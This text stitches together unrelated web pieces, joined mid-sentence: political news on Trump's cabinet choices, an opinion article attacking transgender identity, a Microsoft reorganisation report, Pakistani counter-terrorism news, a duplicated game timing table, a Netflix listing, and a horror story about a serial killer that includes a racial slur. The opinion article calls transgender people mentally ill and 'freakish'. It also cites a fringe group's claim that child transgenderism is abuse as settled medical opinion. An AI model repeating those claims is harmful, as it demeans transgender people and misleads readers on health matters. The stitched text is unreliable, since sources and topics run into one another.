Gingrich is putting his weight behind Giuliani. He revealed that Romney's still in the mix because of his relationship with House Speaker Paul Ryan, his 2012 running mate, and Ryan ally Reince Priebus.
Republican National Committee Chairman Priebus, who's agreed to be Trump's White House chief of staff, is 'pretty strongly' in favor of Romney for secretary of state, Gingrich told USA Today. Ryan 'is very strongly in favor of Romney,' too, he said.
Giuliani has not been seen at Trump Tower since before the Thanksgiving holiday.
Trump spokesman Jason Miller told reporters staking out the building's lobby, 'I don't know what the mayor's schedule is today...But if he is coming here I'm sure I'll see him soon enough.'
The Trump transition vice chair was last spotted at Trump's New York power center seven days ago.
He refused to comment on his interest in the secretary of state position or director of national intelligence at that time.
'I will say nothing about it other than my discussions about it are completely private,' he said, responding to question about his desire to serve as America's top diplomat.
Miller said Monday that Trump needed to speak to Romney again before coming to a decision.
'I think with the case of Governor Romney, the two quite frankly hadn't spent that much time together,' Miller said. 'And so this gives them a little more time to do so.'
Trump is said to be closing in on a nominee for secretary of defense in General James Mattis.Tabitha Mercy, Staff Writer
Waking Times
How insane is it that the mainstream and liberal media are working to eliminate the concept of gender? It isn’t that complicated. Boys have a penis, and girls have a vagina. It is not some high level philosophical construct that passes over the heads of even the greatest intellectuals and biologists. This is kindergarten level knowledge.
Yet, gender neutrality, binary gender, transgender, or whatever else you want to call it, is being rammed down our throats by social engineers, and as more media attention is given to the virtues of erasing biology in favor of mental illness, the issue becomes more culturally acceptable.
Leading the charge are warped and out of touch celebrities who seem to be operating from a singular directive to set an example for people who learn how to parent by watching television and reading People magazine. Parading their children around in front of the paparazzi for the whole world to fawn over, many of these entitled, self-righteous, and disconnected celebs are playing their part in helping to transform society into a confused, mindless mass of group-thinkers.
It seems innocent enough when one of these mega stars steps out in public making a spectacle of their children, and their certainly is no harm in a little boy wearing a pink princess dress once in a while, but when so many celebs are marching to the same tune, it makes you wonder what the real message here is.
Take a look at these examples…
Famous pop singer Adele is being applauded as a heroine for the cause of gender neutral parenting.
Jaden Smith, son of superstar Will Smith supposedly hopes that his ‘gender fluidity’ will pave the way for others to wear whatever they want. In truth people can already wear whatever they want. Men have been dressing in drag since time immemorial. It’s not a big deal. His gender isn’t changing, he’s still presumably got the biological anatomy of a male, but this mainstream news outlet is parading his clothing preferences around as part of a broader push for gender confusion in a changing culture.
Brad Pitt and Angelina Jolie, world superstars, are being praised for supporting their child’s exploration of gender identity. Who’s praising them?
In this article it is explained that the couple is allowing their daughter to dress and act like a boy. So what? Is the kid really old enough to understand the complexities of sexual identity? Probably not, but the fact that the media is proud of this achievement is again a sign that some other greater agenda is in play here.
It gets weird, though, when you hear, as some media outlets have reported, that this kid will soon be receiving hormone treatment as a precursor to an actual sex change, although this detail is difficult to corroborate.
American actress and model Megan Fox is being lauded for allowing her son to don a Snow White dress, and as usual, the article makes a big deal out of gender stereotypes, as though this child is performing some heroic act of social activism to save the lives of a group of terribly oppressed people.
“But not only that, the fam completely bashed gender stereotypes as their oldest boy was wearing a super cute Snow White costume. Even better, it’s not the first time their sons have been photographed wearing clothes that, traditionally, are meant for girls. Way to emphasize the importance of self-expression, Brian and Megan!” [Source]
And again…
Actor Toby Macguire and his ex-wife made headlines with an afternoon outing with their son Otis dressed in a girl’s skirt. Hooray for Hollywood, but really, so what? Why is the media making a point of all this?
Actress Charlize Theron is praised for raising a gender neutral son, and the media loves to talk about it. Here’s her boy in a pink tutu with a pink handbag.
Final Thoughts
What’s really driving this? And who benefits from a gender confused society, where appreciating biological gender identity is some sort of new hate crime? It seems that this type of agenda can really only serve some nefarious end because pushing gender confusion on to children who are too young to fully understand their children only serves to create a future where traditional male and female roles are outdated, and the biologically inherent tendencies of each gender are erased.
The American College of Pediatrics has come out and said that transgenderism of children is child abuse. It’s a way of robbing children of their biological identity before they have a chance to blossom or even to understand the nature of being a man or a woman. It’s a serious mind twister, and an age where mainstream media is pushing all kinds of social engineering on the population, the transgender agenda only serves to further destroy traditional values and basic notions of masculine and feminine identity. In the end, it is the individual that loses, as the madness of the collective serves to confuse, and to celebrate freakish deviations from our natural ways of being.
Read more articles by Tabitha Mercy.
About the Author
Tabitha Mercy is a staff writer for Waking Times, where evolution and revolution unite, and for Offgrid Outpost.
This article (Leading Celebrities Pushing the Transgender Agenda Onto Children) was originally created and published by Waking Times and is published here under a Creative Commons license with attribution to Tabitha Mercy and WakingTimes.com. It may be re-posted freely with proper attribution and author bio.Up until last month, the Office team at Microsoft was organized pretty much the same way it has been for some time: Along Office client and Office server/services lines.
Corporate Vice President Jeff Teper ran Office server and services; Corporate Vice President Kirk Koenigsbauer ran Office client and services. Both of those businesses became part of Executive Vice President Qi Lu's Applications and Services Group (ASG) last summer as part of the One Microsoft reorg.
In February 2014, Lu outlined in an internal memo the responsibilities of the handful of teams that were part of his organization, spanning Bing, MSN, Advertising, and Office.
Some time last month, Lu took steps to further refine the Office piece of the business, according to my sources. Instead of reinforcing the Office divide along client/server lines, Lu reorganized that part of the business around a few key cross-platform groups.
As Bloomberg reported on June 2, Office server chief Teper has moved into a new role and is now working on corporate acquisitions/strategy. (Koenigsbauer is still working on Office client, I hear.) But that wasn't the only change in Lu's latest reorg.
Replacing Teper, at least in part is Rajesh Jha, I hear. Jha's title, as of mid May, was Corporate Vice President for Office Services and Servers (Teper's former title). Jha is responsible for Office 365, among other products. Jha also has responsibility for Exchange and both Outlook and Outlook.com, my contacts say.
This combined Exchange/Outlook/Outlook.com is one of the new Office-business hubs. The others include a combined OneDrive/SharePoint Online headed by Corporate Vice President Chris Jones and the combined Skype/Lync team which is run by Corporate Vice President Gurdeep Singh Pall.
With these combined groups, at least in theory, there's no software/services divide. There's no consumer/enterprise divide. The teams focused on cloud storage are sitting together. All the teams focused on mail are together. Ditto for teams focused on unified communications.
And then... there's OneNote.
Microsoft has tried repeatedly to make OneNote one of its signature products. OneNote is feature-rich and cross-platform (running on iOS, Mac OS X, Android, Windows, Windows 8, Windows Phone and more). But it's still too hard for mere mortals to pick up quickly and use productively.
Nonetheless, Microsoft management genuinely believes that OneNote still could rise to be one of the company's flagship products. That's why Microsoft included an "open OneNote" button on its Surface Pro 3 pen. It's why its stalled Surface Mini was designed to be a note-taking-optimized device.
While OneNote remains part of the Office "suite" of products, it is also its own business now on a par with the other three cross-platform pillars (OneDrive/SharePoint; Exchange/Outlook; Skype/Lync), according to one of my sources. OneNote used to be part of an Authoring Group inside Office, alongside Word and Publisher. Now it's being set up as a separately operating unit reporting directly to Lu.
These four new cross-platform groups (OneNote, Exchange/Outlook, OneDrive/SharePoint and Skype/Lync, more than Office itself, are where Lu and Microsoft will be making big bets, moving forward.Nawaz vows all militants and their facilitators will be eliminated from the country
ISLAMABAD: Prime Minister Nawaz Sharif announced on Monday to launch an offensive against militants in rural and urban areas of the country in an apparent expansion of the ongoing Operation Zarb-e-Azb in North Waziristan and Federally Administered Tribal Areas (Fata).
“One Zarb-e-Azb is being fought in the tribal areas and a second Zarb-e-Azb will be fought against those who are hiding in our cities and villages,” the premier said, while chairing a four hour long high-level counter terrorism meeting, according to the PM Office.
The premier vowed that a decisive battle would be fought against all militants, including those responsible for the Hazara Town in Quetta and the Peshawar Church attack.
“The government will not differentiate between terrorists and their facilitators. They both will be taken out,” PM Nawaz said.
“Terrorism and sectarianism are a cancer for this country and now the time has come to root it out,” the premier said.
Sources added the high-level meeting discussed various plans, including overhauling of criminal justice, and a new administrative and legislative system in the country.
Interior Minister Chaudhry Nisar, SAFRON Minister Abdul Qadir Baloch, Finance Minister Ishaq Dar, Attorney General Salman Aslam Butt and special assistants to the premier Khawaja Zaheer and Barrister Zafarulaah attended the meeting.
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rawdownloadcloneembedreportprint text 2.27 KB Poplar (4.5x4.5) Small Sapling to Sapling: 1h 12m - Chance for Thunderstruck: 0.01% Sapling to Small Tree: 4h 48m - Chance for Thunderstruck: 0.02% Small Tree to Tree: 6h 00m - Chance for Thunderstruck: 0.03% Rubber (4.5x4.5) Small Sapling to Sapling: 1h 8m 36s - Chance for Thunderstruck: 0.01% Sapling to Small Tree: 4h 34m 24s - Chance for Thunderstruck: 0.02% Small Tree to Tree: 5h 43m - Chance for Thunderstruck: 0.03% Traveler's Tree (4.5x4.5) Small Sapling to Sapling: 1h 25m 48s - Chance for Thunderstruck: 0.01% Sapling to Small Tree: 5h 43m 12s - Chance for Thunderstruck: 0.02% Small Tree to Tree: 7h 09m - Chance for Thunderstruck: 0.04% Cedar (4.5x4.5) Small Sapling to Sapling: 2h 34m 18s - Chance for Thunderstruck: 0.03% Sapling to Small Tree: 10h 17m 12s - Chance for Thunderstruck: 0.05% Small Tree to Tree: 12h 51m 30s - Chance for Thunderstruck: 0.08% Ginkgo (6x6) Small Sapling to Sapling: 1h 8m 34s - Chance for Thunderstruck: 0.02% Sapling to Small Tree: 4h 34m 17s - Chance for Thunderstruck: 0.03% Small Tree to Tree: 5h 42m 51s - Chance for Thunderstruck: 0.05% Beech (6x6) Small Sapling to Sapling: 1h 25m 42s - Chance for Thunderstruck: 0.05% Sapling to Small Tree: 5h 42m 51s - Chance for Thunderstruck: 0.08% Small Tree to Tree: 7h 08m 34s - Chance for Thunderstruck: 0.13% Pine (6x6) Small Sapling to Sapling: 6h 51m 30s - Chance for Thunderstruck: 0.09% Sapling to Small Tree: 1d 3h 26m - Chance for Thunderstruck: 0.14% Small Tree to Tree: 1d 10h 17m 30s - Chance for Thunderstruck: 0.23% Cherry (7.5x7.5) Small Sapling to Sapling: 1h 25m 42s - Chance for Thunderstruck: 0.04% Sapling to Small Tree: 5h 42m 51s - Chance for Thunderstruck: 0.07% Small Tree to Tree: 7h 08m 34s - Chance for Thunderstruck: 0.11% Ebony (7.5x7.5) Small Sapling to Sapling: 5h 8m 36s - Chance for Thunderstruck: 0.07% Sapling to Small Tree: 20h 34m 24s - Chance for Thunderstruck: 0.11% Small Tree to Tree: 1d 1h 43m - Chance for Thunderstruck: 0.18% (The only tree I'm confused about is the Rumbling Archeum Tree. After about 50 minutes there is an RNG roll that has a 10% chance of succeeding. I don't know enough about the tree to say, but could be a Thunderstruck.)
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Poplar (4.5x4.5) Small Sapling to Sapling: 1h 12m - Chance for Thunderstruck: 0.01% Sapling to Small Tree: 4h 48m - Chance for Thunderstruck: 0.02% Small Tree to Tree: 6h 00m - Chance for Thunderstruck: 0.03% Rubber (4.5x4.5) Small Sapling to Sapling: 1h 8m 36s - Chance for Thunderstruck: 0.01% Sapling to Small Tree: 4h 34m 24s - Chance for Thunderstruck: 0.02% Small Tree to Tree: 5h 43m - Chance for Thunderstruck: 0.03% Traveler's Tree (4.5x4.5) Small Sapling to Sapling: 1h 25m 48s - Chance for Thunderstruck: 0.01% Sapling to Small Tree: 5h 43m 12s - Chance for Thunderstruck: 0.02% Small Tree to Tree: 7h 09m - Chance for Thunderstruck: 0.04% Cedar (4.5x4.5) Small Sapling to Sapling: 2h 34m 18s - Chance for Thunderstruck: 0.03% Sapling to Small Tree: 10h 17m 12s - Chance for Thunderstruck: 0.05% Small Tree to Tree: 12h 51m 30s - Chance for Thunderstruck: 0.08% Ginkgo (6x6) Small Sapling to Sapling: 1h 8m 34s - Chance for Thunderstruck: 0.02% Sapling to Small Tree: 4h 34m 17s - Chance for Thunderstruck: 0.03% Small Tree to Tree: 5h 42m 51s - Chance for Thunderstruck: 0.05% Beech (6x6) Small Sapling to Sapling: 1h 25m 42s - Chance for Thunderstruck: 0.05% Sapling to Small Tree: 5h 42m 51s - Chance for Thunderstruck: 0.08% Small Tree to Tree: 7h 08m 34s - Chance for Thunderstruck: 0.13% Pine (6x6) Small Sapling to Sapling: 6h 51m 30s - Chance for Thunderstruck: 0.09% Sapling to Small Tree: 1d 3h 26m - Chance for Thunderstruck: 0.14% Small Tree to Tree: 1d 10h 17m 30s - Chance for Thunderstruck: 0.23% Cherry (7.5x7.5) Small Sapling to Sapling: 1h 25m 42s - Chance for Thunderstruck: 0.04% Sapling to Small Tree: 5h 42m 51s - Chance for Thunderstruck: 0.07% Small Tree to Tree: 7h 08m 34s - Chance for Thunderstruck: 0.11% Ebony (7.5x7.5) Small Sapling to Sapling: 5h 8m 36s - Chance for Thunderstruck: 0.07% Sapling to Small Tree: 20h 34m 24s - Chance for Thunderstruck: 0.11% Small Tree to Tree: 1d 1h 43m - Chance for Thunderstruck: 0.18% (The only tree I'm confused about is the Rumbling Archeum Tree. After about 50 minutes there is an RNG roll that has a 10% chance of succeeding. I don't know enough about the tree to say, but could be a Thunderstruck.)A game designed by a 14-year-old boy has topped the iTunes worldwide free app charts, ahead of the likes of Facebook and Skype.
Robert Nay, from Utah in the USA, created Bubble Ball, a "physics puzzle game" for Apple devices.
He learned how to code the game from a library book, after a friend's dad suggested he try to make an app.
On Wednesday (19 January), Bubble Ball had been downloaded two million times, according to Robert's figures.
It was also ahead of the free version of hit game Angry Birds.
"I think it's pretty cool because I never thought my game would do that well," Robert told ABC News.
"My friend's dad suggested I try making an iPhone app and I thought, 'Why not, that'd be pretty cool,' so I checked out a book from the library.
"When I saw that it was number one for the free apps, I was astonished."
He also says he plans to make more games, but his next project is "a secret".Netflix in May: What's coming and going
CLOSE Big changes are coming to online streaming service Netflix. USA TODAY
It's gonna be May, and that means there's gonna be a ton of new shows and movies heading to Netflix.
Good news for regular viewers of the streaming service: Plenty of Netflix original shows are back for new seasons, including Master of None, Unbreakable Kimmy Schmidt, Sense8 and House of Cards. And there's also a bunch of standup shows on the way, from comedians Tracy Morgan to Sarah Silverman. Other highlights include the new season of Riverdale and movies Southpaw, Doctor Strange and Netflix's War Machine starring Brad Pitt and true-crime documentary The Keepers.
Of course, there are expiring titles, as well. This is your last chance to watch Jurassic Park movies, Step Up, and Scrubs before they leave. (By the way, here's what arrived in April.)
Here's the full list of titles coming and going.
Available 5/1/17
American Experience: The Big Burn (2014)
American Experience: The Boys of '36 (2017)
Anvil! The Story of Anvil (2008)
Blood on the Mountain (2016)
Chaahat (1996)
Chocolat (2000)
Decanted (2016)
Don't Think Twice (2016)
Drifter (2017)
Forrest Gump (1994)
Happy Feet (2006)
In the Shadow of Iris—NETFLIX ORIGINAL FILM
Love (2015)
Losing Sight of Shore (2017)
Malibu's Most Wanted (2003)
Nerdland (2016)
Raja Hindustani (1996)
Richard Pryor: Icon (2014)
Under Arrest: Season 5 (2016)
Available 5/2/17
Bodyguards: Secret Lives from the Watchtower (2016)
Hija De La Laguna (2015)
Maria Bamford: Old Baby—NETFLIX ORIGINAL
Two Lovers and a Bear (2016)
Available 5/5/17
Chelsea: Season 2 (streaming every Friday)—NETFLIX ORIGINAL
Handsome: A Netflix Mystery Movie—NETFLIX ORIGINAL FILM
Kazoops!: Season 3—NETFLIX ORIGINAL
Sense8: Season 2—NETFLIX ORIGINAL
Simplemente Manu NNa—NETFLIX ORIGINAL
Spirit: Riding Free: Season 1—NETFLIX ORIGINAL
The Last Kingdom: Season 2—NETFLIX ORIGINAL
The Mars Generation—NETFLIX ORIGINAL
Available 5/6/17
Cold War 2 (2016)
When the Bough Breaks (2017)
Available 5/7/17
LoveTrue (2016)
Stake Land II (2016)
The Host (2013)
Available 5/8/17
Beyond the Gates (2016)
Hunter Gatherer (2016)
Available 5/9/17
Norm Macdonald: Hitler's Dog, Gossip & Trickery—NETFLIX ORIGINAL
Queen of the South: Season 1 (2016)
All We Had (2016)
Available 5/10/17
El apóstata (2015)
The Adventure Club (2016)
Available 5/11/17
Switched at Birth: Season 5 (2017)
The Fosters: Season 4 (2016)
Available 5/12/17
All Hail King Julien: Exiled: Season 1—NETFLIX ORIGINAL
Anne with an E: Season 1—NETFLIX ORIGINAL
Get Me Roger Stone—NETFLIX ORIGINAL
Master of None: Season 2—NETFLIX ORIGINAL
Mindhorn—NETFLIX ORIGINAL FILM
Sahara—NETFLIX ORIGINAL FILM
Available 5/15/17
Command and Control (2016)
Cave (2016)
Lovesong (2016)
Sherlock: Series 4 (2016)
The Intent (2016)
Available 5/16/17
Tracy Morgan: Staying Alive—NETFLIX ORIGINAL
The Break-Up (2006)
The Place Beyond the Pines (2012)
Available 5/18/17
Royal Pains: Season 8 (2016)
Riverdale: Season 1 (2016)
Available 5/19/17
BLAME!—NETFLIX ORIGINAL FILM
Laerte-se—NETFLIX ORIGINAL
The Keepers: Season 1—NETFLIX ORIGINAL
Unbreakable Kimmy Schmidt: Season 3—NETFLIX ORIGINAL
Available 5/21/17
What's With Wheat (2017)
Available 5/22/17
Inglourious Basterds (2009)
They Call Us Monsters (2017)
Available 5/23/17
Hasan Minhaj: Homecoming King—NETFLIX ORIGINAL
Dig Two Graves (2014)
Available 5/24/17
Southpaw (2015)
Available 5/26/17
Believe (2016)
Bloodline: Season 3—NETFLIX ORIGINAL
I am Jane Doe (2017)
Joshua: Teenager vs. Superpower—NETFLIX ORIGINAL
War Machine—NETFLIX ORIGINAL FILM
Available 5/28/17
Bunk'd: Season 2 (2016)
Available 5/29/17
Forever Pure (2016)
A New High (2015)
Available 5/30/17
F is for Family: Season 2—NETFLIX ORIGINAL
House of Cards: Season 5—NETFLIX ORIGINAL
Marvel's Doctor Strange (2016)
Masterminds
Sarah Silverman A Speck of Dust—NETFLIX ORIGINAL
COMING SOON
Supergirl: Season 2 (2016)
Supernatural: Season 12 (2016)
The Flash: Season 3 (2016)
And on the way out...
Leaving 5/1/17
11 Blocks
Alfie
Bang Bang!
Black Mamba: Kiss of Death
Cujo
Doomsdays
Fantastic Four
FernGully 2: The Magical Rescue
Flicka: Country Pride
Garfield's Fun Fest
Invincible
Jetsons: The Movie
Jurassic Park III
Jurassic Park
The Lost World: Jurassic Park
Paulie
Samurai Headhunters
Stephen King's Thinner
Tales from the Darkside: The Movie
The Doors
The Real Beauty and the Beast
The Seven Dwarfs of Auschwitz
The Sons of Katie Elder
The Wedding Planner
Things We Lost in the Fire
To Catch a Thief
Treblinka: Hitler's Killing Machine
Truly Strange
Turf War: Lions and Hippos
Van Wilder: Freshman Year
Ven |
novel The Orphan Palace (2011, Chomu Press) was previously reviewed on this site by our own Maureen Kincaid Speller. Pulver is highly acclaimed amog fellow writers and other readers for his unique voice, which reflects a hard‐edged poetic intensity inspired by dark fantasy and noir, and the events of his stories and poems often follow in likewise fashion. His own writing reflects his fondness for the King in Yellow Mythos created by Robert W. Chambers, with stories such as the following “Carl Lee and Cassilda” taking place within that mythos and updating it for this era of readers. He has also edited the anthology A Season in Carcosa (2012, Miskatonic River Press), which compiles contemporary authors writing new King in Yellow‐inspired stories. We hope you enjoy the following story, reprinted with kind permission of the author. – The Editors
***
Scissors telling Mama the Truth … A white court house in a small whitetown; hard men in dark suits with cold ugly eyes behind unsightly hornrimmedeyeglasses, and a host of questions … The bells of a church — awhite church with a white cross — ringing … Then Inside Dr. Archer’s asylum; brutes in starched whites with cold ugly blue eyes, and bitchy, skinny‐ass nurses with pills, and later, after the attack on fat, bouncy Nurse Barbara, needles. A lifetime commitment: Violent Ward, Room 1.
Shut away for eleven years in Dr. Archers’ asylum … AND—
Fourteen days in The Room (this last time). White room, glaring light overhead; false light, blinding light. Night and day the artificial white light blazed, unless he closed his eyes. Fourteen days, lying on the white floor, back to the white door. Beyond the white door, beyond the sterile white halls and the crowded wards, and Dr. Archer’s office, and the caretaker’s bungalow, the highway, and the desert with its good‐for‐nothing little towns of tattered no‐names. The great painted desert; hungry lizards slashing across shimmering, shamanic sands; rebel cactus under siege; roadhouses; hombres; the survival games of bugs and scorpions and birds and mice and rattlesnakes; and the line in the sand, on the other side, winter in Mexico. Fourteen days under the glare of Dr. Archer’s cold dark eyes behind unsightly horn‐rimmed eyeglasses. Fourteen days in doubt’s icy shadow, pressed by endless questions about The Book, its Truth, and Mama: “Where did you first — When did you — Why did you — Were you — What do you remember about — Did you — Didn’t you — Did she — Do you have — Tell me about — ” Fourteen days staring at Dr. Archer’s face of steel. Beneath it, curves and layers and blood, and white glistening bone. Fourteen days. Pills and needles and questions — fourteen days, consciousness blurred. Tired. Bound in white restraints, the straps cutting. At times afraid, fumbling with guilt, weakening. Suffocating on the doctor’s pronouncements. DYING? Wanting! Wanting scissors, or a knife. Even a fork would do. Fourteen days, face to face with exhausting judgment; just to be free from Dr. Archer’s moving teeth and tongue, rattling with their incessant inquisition…
He wanted night. Night with black stars shining. Endless shimmering night, standing on a balcony with Cassilda. Sweet, radiant Cassilda, smiling. Her pale yellow gown fluttering in the midnight breeze.
I’ll never give up my Dream. Never betray Cassilda.
He looks at Dr. Archer. Sees the Truth standing behind him, takes strength from it. Hears another question coming …
I’ve been poisoned before. Let them come.
“Give me fourteen more days if you like. But I will never give up my Dream.”
Cassilda, I have been faithful to you …
*
I am far saner than my captor — Doctor,
Thief! He took the book from me.
I spit on him!
I would bite and claw him.
Cut out His EYES.
Cut out His TONGUE. Pull out His TEETH.
Show him the Truth. See him blister in my gaze!
I would leave his flesh for the insects, his bones for the sun!
I would cast his empty philosophies in Truth’s black flame,
if only free …
Free!—Star‐chasing, dream‐chasing
in dream‐time.
There — on fire, I am a star — I devour the colors of space;
my hand holds the infinite …
Cassilda, I know the Truth. I have seen the Place Where the Black Stars Hang in my dreams. Have no fear, Sweet Princess, I’ll find you. I’ll find a way through this maze of lies. I’ll find the road to Carcosa.
*
First the careless orderly — on the white wall, powerful red words:
Dear Dr. Archer,
I’ve been called to the Court of Truth by Cassilda.
Then the old‐goat caretaker and his fat wife, curves and layers and blood, and white glistening bone. More powerful words on a white wall:
Dear Dr. Archer,
You wanted to see the Truth, to understand it. Never fear, one day, the Truth will come for you. It will stand before you and reveal itself. Watch for it.
Through the gate, looking back and smiling at Dr. Archer’s office window. On the road. The long walk, frying in the leer of afternoon, under the blameless Big Blue Sky. Just another tourist with blinking eyes.
Rushing through clusters of struggling scrub trees and scraggly fields, slightly winded, but free. A road. Houses, not close together. Porches with disinterested shadows. A basking cat, not sight or sound of dogs. He needs momentary shelter and clothes. And a car. Picks a house with outdated apparel drying on the line. A kindly old woman, physically, not unlike his mother, gives him a cool drink of water. He shows her the Truth. Takes his time, peeling away the mask. Takes her husband’s clothes, some food, yesterday’s newspaper, and her car.
Two hours on the road. Driving carefully. Driving by motels and fast food joints, listening to All‐News radio. Leaves the car near a busy truck stop. He gets a ride to Reno. Walks a bit, watching the cars flash past. He flashes his thumb in reply.
*
Another shithole cheap room with a cheap chair and a hard bed — and the sounds of working hookers oozing in bursts through the thin walls.
Hand shaking as he reaches for the glass. Cheap whiskey. The solid shadow in the darkest fragment of the room swallows and lets the burn soothe him. The glass is too slow, he takes long draws from the pint bottle. He loves the burn, hates the fire of pressure behind his eyes.
Two fingers part the cheap curtain. Eyes that look straight into everything survey the parking lot — two pick‐ups and a van — taking in the on/off neon, illuminating rust and dents. Next door a shout and the sound of a slap. Then a “Fuck you” and another strike. Muffled crying.
She probably deserved it, he thinks.
His fingers come away from the curtain and he turns to the bed. The flickering light of the TV flickers on the wrinkles and folds and long curves, pale and red. She deserved it. She lied. She smiled, then lied. Wanted money. Just like the others.
Two more pulls from the whiskey bottle and he turns down the radio’s city songs and turns up the sound of the B‐movie on the TV to silence the disagreement next door.
“Whores.” Sotto voce, as hurtful and ugly as the breeze in Death’s yard.
He puts on his boots and buckles his belt buckle. In the bathroom he rinses the blade of his knife and washes his hands, watches the diluted blood find its way down into darkness. Looks in the cracked mirror and traces the scorpionlike tattoo on his chest with his finger.
“Cassilda.” A silent howl.
*
His thumb flashed. A cloud of dust with the wind — no ride. His boot kicked up more dust. Twenty‐two cars and trucks in the last hour and no ride. He was going to fry in this heat. Why didn’t it ever rain here?
Didn’t matter. He was on his way to the other coast. New Orleans. Jacksonville. Miami, it rained there. That’s where she was. Someplace cooler. Six dead women from Barstow to San Antone and it had taken him this long to figure it out.
He’d seen Cassilda on the TV at the end of the bar; just once since he’d got out, just for a few seconds. She was as cool as autumn twilight. She hadn’t used many words, but her eyes spoke to him. They said, “I’m waiting for you, Carl Lee.” So he finished his beer and headed out. L.A. hadn’t been a waste after all.
To no particular where, just went. Stepped right into August like it was a voyage or a baptism. Stopped in his cheap room, grabbed his stuff and left. Somewhere down the road he’d find her. The wind would take him to her.
The wind had taken him all across This Nation these past months. He’d been to Vegas and Illinois. Seen an Indian in Laredo, Texas, and niggers everywhere. Watched the dissatisfied compromise and the desperate cheat. He’d slept in alleys and along the highways; saw some crows pickin’ at dead‐cat‐pie in a cemetery; hid from the rain one night in Ruby’s Diner with Big Joe and Frank, watchin’ the nighthawks drown cigarette butts in cold coffee while the all‐night radio bedtime story barked sermons and scandals; fought off flies come to his sardines and bourbon picnic one afternoon while five gleaming kids ran barefoot through a sandlot yelling “Whee!” He’d seen the Grand Canyon, and screwballs whine about double‐dealers. Heard crap enough to brainwash the boxcar hermits inta believin’ their Mad Dog was Saint Teresa’s piss. Been in and outta small towns and through railroad yards, walked by shy Spanish maidens, cowboy hats, and cotton galore … Worked or stole every once and again. He liked working better, but they would never leave him alone — always had to talk at him. Get this; pull that; over there. “So, what’dal-ya have? I ain’t got all night” from twelve dozen skinny‐ass waitresses who were as empty‐lookin’ as closed‐down gas stations. HURRY‐HURRY‐HURRY. Like fast ever got anyone anywhere.
“Damn barstool sons‐a‐bitches, rattlin’ so the drunk at their elbow won’t know they’re empty. Free Country, my ass … Squawkin’ and bitchin’ costs plenty.”
But Cassilda didn’t complain. Just one quick look that afternoon in the bar and he knew it. Nope, she wouldn’t think of it. She was quite and respectful. Knew what to say and when to say it. Knew how to please a man. He knew she could cook and sew, and mind her Ps & Qs. Didn’t scream no Holy Bible shit, wouldn’t bitch and bitch and bitch about money, and sure wouldn’t screw around with other men.
*
The wind eased and a car stopped. Carl Lee smiled and threw his gear in the backseat. Willie Nelson was on the radio singin’ about being to sick to pray. The young woman said, “Hi. My name’s Laura Mae.” And wouldn’t shut up.
They headed East.
Carl Lee left her in a culvert in Arkansas. At the edge of a swampy pond he washed his hands and cleaned his knife. Forty minutes later he ditched her car.
His thumb flashed. Through Stamps and Crosett and Eudora. Stayed overnight in Onward, Mississippi. Another cheap motel with a cheap chair and hard bed, but it was quiet. He walked to the bar down the road. The bartender wore unsightly horn‐rimmed glasses just like Dr. Archer’s. Smiled dead‐cold, just like Dr. Archer. He was quick to down his drink and go back to his room, away from temptation, away from questions.
Fully clothed. Knife beside him. TV off. Laid on that hard bed staring at the ceiling. Sweating; no fan, no air conditioning. Knowing she was waiting. Knowing she wanted him to come to her — Cassilda had everything ready for him.
He soaked a wash towel in cool water. Wrung it out and laid it on his forehead. He dozed.
Cassilda’s fingers were cool. She had nice hands, nice soft hands. She didn’t talk, just smiled, just like soft autumn sunshine. All this heat and she looked fresh as a daisy in her yellow print dress. The soft cotton moved with her. She handed him a glass of lemonade, beads like diamonds on it. She made him feel like a king.
He woke and rolled over. Looked around, rubbed his eyes, yawned. Thunder off in the distance. He went back to sleep.
His mother — thirty‐four years of Arizona long nights — was wanderin’ ’round the kitchen. Mutterin’ to herself just like always. All that talk of Daddy, and lying men; rough hands and hard breath. She was skinning a rabbit. Blood on her hands. She wiped away a tear, left a blood scar. Mama called him. She didn’t look up from the carcass, just called his name, “Carl Lee, you come and fetch some onions.”
Mama was hummin’ along with the slow country song on the West Texas radio station; at the bridge she muttered something about the curse of love. Both sounded like wind in the wire.
Out beyond the screen door by the gas pump, tires digging gravel, an old yellow dog in the back of a pick‐up. The dog barked, flashed its teeth, and he remembered going hunting with Daddy. Twice. He was seven— “Old enough now.” A doe each time. Daddy’s Buck knife moved through the hide. Daddy peeled it back. The curve of muscle, white glistening bone. Blood. Carl Lee thought, this is what things really look like under the hair, and smiles—
He was wide awake. The late‐morning sun lightening the pale curtains and the yellowing wallpaper. In the bathroom he splashed water on his face and drank a glass of water. He wanted a drink, settled for bacon and eggs and white‐bread toast and black coffee.
On the road again. A ride with a quiet man in a loud truck. East. The panhandle of Florida. Soon he’d be in it. She was waiting. Only tomorrow or the next day away now.
Thumb out. Heels on hot tar. One town and another. Night. Still hot, not cooler. Red and white bar lights. Beer signs. He went inside.
Two drunk fools waltzin’ across the floor, laughing. His drink in his hand. Reflected light in the wet rings on the bar. Laughing girls, curves and layers and blood, and white glistening bone. That’s what they really looked like under the hair and the smiles. Movement in the mirror behind
the bottles. He passed the whiskey over lips. Felt the burn. Washed it down with a beer, dreamed of lemonade. He left with a doe‐eyed divorcée.
She unbuttoned her dress and let her hair down. Smiled. LIES—
All those sons‐a‐bitches jawin’, Mama and her school‐girl/movie picture glamour magazine dreams, and her book learnin’ — always talkin’ about romance stories she’d read and movies she’d seen, all of princes and damsels and far‐away places with strange names, and IF ONLY. That’s what drove his Daddy off—
“It’s OK, darlin’. Happens sometimes.”
It happened. Curves and layers and blood, and white glistening bone.
Mama, she’d lied about Cassilda and the book. And it happened. Curves and layers and blood, and white glistening bone.
Carl Lee sat in a cheap chair in her rented trailer. He drank her whiskey and looked at her laying there. She wasn’t lying now. He put his hand on her jaw and turned her head, looked at the truth in her eyes. He turned on the radio by the bed, the slow country song sounded like wind in the wires.
He tried to count how many he’d met. How many looked like Cassilda, but weren’t. He shoulda known, the painted nails and painted lips and bottle‐blonde dye‐jobs, and they drank beer — some right from the bottle — or whiskey, never lemonade.
Carl Lee heard the rain outside. Thought about spending the night. There was still half a bottle left … But Cassilda was waiting. He went into the bathroom and washed the blood from his knife. Washed his hands. Watched the diluted blood find its way down into darkness. He looked in the mirror and traced the scorpionlike tattoo on his chest with his finger.
“Cassilda,” he howled silently.
Then he was out driftin’ with the wind. Headlights approaching.
His thumb flashed.
*
He deposits his small gesture in the mailbox. The fourteenth postcard to the inquisitioner with cold dark eyes behind unsightly horn‐rimmed eyeglasses. In powerful red words, each asks the same question:
Dear Dr. Archer,
Are you watching?
(for Alice Cooper and Robert Bloch)New Zealand’s most volatile man, Nick Smith, has spontaneously combusted. He was 94.
